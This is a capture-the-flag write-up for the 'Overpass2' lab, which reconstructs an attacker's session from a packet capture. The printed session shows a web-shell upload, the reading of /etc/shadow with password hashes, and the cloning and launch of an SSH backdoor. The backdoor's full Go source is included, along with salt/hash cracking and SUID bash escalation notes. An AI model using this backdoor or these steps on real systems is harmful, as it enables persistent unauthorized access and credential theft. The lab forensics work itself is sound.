Overpass2
Difficulty: Medium→High
Score: 6/10
Target
- Flow analysis
- root privilege
- 2 flags
Process
Wireshark File Analysis
We can see the interesting information
/development/
/development/upload.php -> upload the web-shell
Tcp stream Note
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@overpass-production:/var/www/html/development/uploads$ ls -lAh
ls -lAh
total 8.0K
-rw-r--r-- 1 www-data www-data 51 Jul 21 17:48 .overpass
-rw-r--r-- 1 www-data www-data 99 Jul 21 20:34 payload.php
www-data@overpass-production:/var/www/html/development/uploads$ cat .overpass
cat .overpass
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQH96?6G6C?@E62CE:?DE2?EQN.www-data@overpass-production:/var/www/html/development/uploads$ su james
su james
Password: whenevernoteartinstant
james@overpass-production:/var/www/html/development/uploads$ cd ~
james@overpass-production:~$ sudo -l
sudo -l
[sudo] password for james: whenevernoteartinstant
Matching Defaults entries for james on overpass-production:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on overpass-production:
(ALL : ALL) ALL
james@overpass-production:~$ sudo cat /etc/shadow
sudo cat /etc/shadow
james:$6$7GS5e.yv$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7:::
paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GElJIjG7u36xSgMGwKA2woDIFudtyqY37YCyukiHJPhi4IU7H0:18464:0:99999:7:::
szymex:$6$B.EnuXiO$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1wXxKitcPUjcXlX/:18464:0:99999:7:::
bee:$6$.SqHrp6z$B4rWPi0Hkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJlFHbyp0K9TAeY1M6niFseB9VLBWSo0:18464:0:99999:7:::
muirland:$6$SWybS8o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1Sw/fd2cu0kC6dUP.:18464:0:99999:7:::
james@overpass-production:~$ git clone https://github.com/NinjaJc01/ssh-backdoor
<git clone https://github.com/NinjaJc01/ssh-backdoor
Cloning into 'ssh-backdoor'...
Unpacking objects: 100% (18/18), done.
james@overpass-production:~$ cd ssh-backdoor
cd ssh-backdoor
james@overpass-production:~/ssh-backdoor$ ssh-keygen
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/james/.ssh/id_rsa): id_rsa
id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa.
Your public key has been saved in id_rsa.pub.
The key fingerprint is:
SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58 james@overpass-production
The key's randomart image is:
+---[RSA 2048]----+
| .. . |
| . + |
| o .=. |
| . o o+. |
| + S +. |
| =.o %. |
| ..*.% =. |
| .+.X+*.+ |
| .oo=++=Eo. |
+----[SHA256]-----+
james@overpass-production:~/ssh-backdoor$ chmod +x backdoor
chmod +x backdoor
james@overpass-production:~/ssh-backdoor$ ./backdoor -a 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
<9d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
SSH - 2020/07/21 20:36:56 Started SSH backdoor on 0.0.0.0:2222
We can get some information from TCP stream.
- James original password → whenevernoteartinstant
- shadow file → crack it by hashcat or john
Backdoor code analysis
package main
import (
"crypto/sha512"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"os/exec"
"github.com/creack/pty"
"github.com/gliderlabs/ssh"
"github.com/integrii/flaggy"
gossh "golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/terminal"
)
var hash string = "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"
// The hash
func main() {
var (
lport uint = 2222
lhost net.IP = net.ParseIP("0.0.0.0")
keyPath string = "id_rsa"
fingerprint string = "OpenSSH_8.2p1 Debian-4"
)
flaggy.UInt(&lport, "p", "port", "Local port to listen for SSH on")
flaggy.IP(&lhost, "i", "interface", "IP address for the interface to listen on")
flaggy.String(&keyPath, "k", "key", "Path to private key for SSH server")
flaggy.String(&fingerprint, "f", "fingerprint", "SSH Fingerprint, excluding the SSH-2.0- prefix")
flaggy.String(&hash, "a", "hash", "Hash for backdoor")
flaggy.Parse()
log.SetPrefix("SSH - ")
privKeyBytes, err := ioutil.ReadFile(keyPath)
if err != nil {
log.Panicln("Error reading privkey:\t", err.Error())
}
privateKey, err := gossh.ParsePrivateKey(privKeyBytes)
if err != nil {
log.Panicln("Error parsing privkey:\t", err.Error())
}
server := &ssh.Server{
Addr: fmt.Sprintf("%s:%v", lhost.String(), lport),
Handler: sshterminal,
Version: fingerprint,
PasswordHandler: passwordHandler,
}
server.AddHostKey(privateKey)
log.Println("Started SSH backdoor on", server.Addr)
log.Fatal(server.ListenAndServe())
}
func verifyPass(hash, salt, password string) bool {
resultHash := hashPassword(password, salt)
return resultHash == hash
}
func hashPassword(password string, salt string) string {
hash := sha512.Sum512([]byte(password + salt))
return fmt.Sprintf("%x", hash)
}
func sshHandler(s ssh.Session) {
command := s.RawCommand()
if command != "" {
s.Write(runCommand(command))
return
}
term := terminal.NewTerminal(s, "$ ")
for {
command, _ = term.ReadLine()
if command == "exit" {
return
}
term.Write(runCommand(command))
}
}
func sshterminal(s ssh.Session) {
cmd := exec.Command("/bin/bash", "-i")
ptyReq, _, isPty := s.Pty()
if isPty {
cmd.Env = append(cmd.Env, fmt.Sprintf("TERM=%s", ptyReq.Term))
f, err := pty.Start(cmd)
if err != nil {
panic(err)
}
go func() {
io.Copy(f, s) // stdin
}()
io.Copy(s, f) // stdout
cmd.Wait()
} else {
io.WriteString(s, "No PTY requested.\n")
s.Exit(1)
}
}
func runCommand(cmd string) []byte {
result := exec.Command("/bin/bash", "-c", cmd)
response, _ := result.CombinedOutput()
return response
}
func passwordHandler(_ ssh.Context, password string) bool {
return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}
- Original hash: bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3
- encode type SHA512
func hashPassword(password string, salt string) string {
hash := sha512.Sum512([]byte(password + salt))
return fmt.Sprintf("%x", hash)
}
- Salt →1c362db832f3f864c8c2fe05f2002a05
Crack the password
Hashcat methods wiki
Login in with backdoor port
Privilege Escalation
Search SUID file
we found the suid bash!